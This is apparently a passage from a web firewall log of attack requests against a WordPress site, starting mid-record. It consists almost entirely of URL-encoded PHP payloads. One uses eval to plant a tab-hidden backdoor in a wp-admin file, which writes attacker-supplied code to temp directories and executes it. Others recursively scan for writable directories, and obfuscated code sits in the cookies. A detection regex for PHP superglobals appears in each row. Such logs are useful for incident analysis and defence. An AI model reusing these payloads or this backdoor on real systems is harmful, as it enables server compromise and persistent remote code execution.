Chrome\";v=\"100\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-parse-opml.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx69tem%2522%255D%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx69tem%2522%255D%253B%2520%2524entry%2520%253Dexplode%2520%2528%2520%2527.%2527%252C%2520%2524entry%2520%2529%2520%253B%2520%2524pset%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%253D%2520count%2528%2524entry%2529%253B%2520for%2520%2528%2524n%253D%25200%253B%2520%2524n%253C%2524len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v6%253D%2520%2524entry%255B%2524n%255D%253B%2520%2524sChar%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E45%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524ent%2529%253A%2520if%2520%2528%2528is_dir%2528%2524ent%2529%2520and%2520is_writable%2528%2524ent%2529%2529%2529%2520%257B%2520%2524elem%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524ent%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524pset%2529%2529%2520%257B%2520require%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 23:04:09","163.172.31.86","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> cV:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL1LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:3811\naccept:*\/*\n\ncV=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 23:04:30","101.100.3.213","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> RM:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHx0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:3811\naccept:*\/*\n\nRM=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 23:04:33","62.210.185.4","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> oa:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:3811\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo2RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nupgrade-insecure-requests:1\n\noa=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
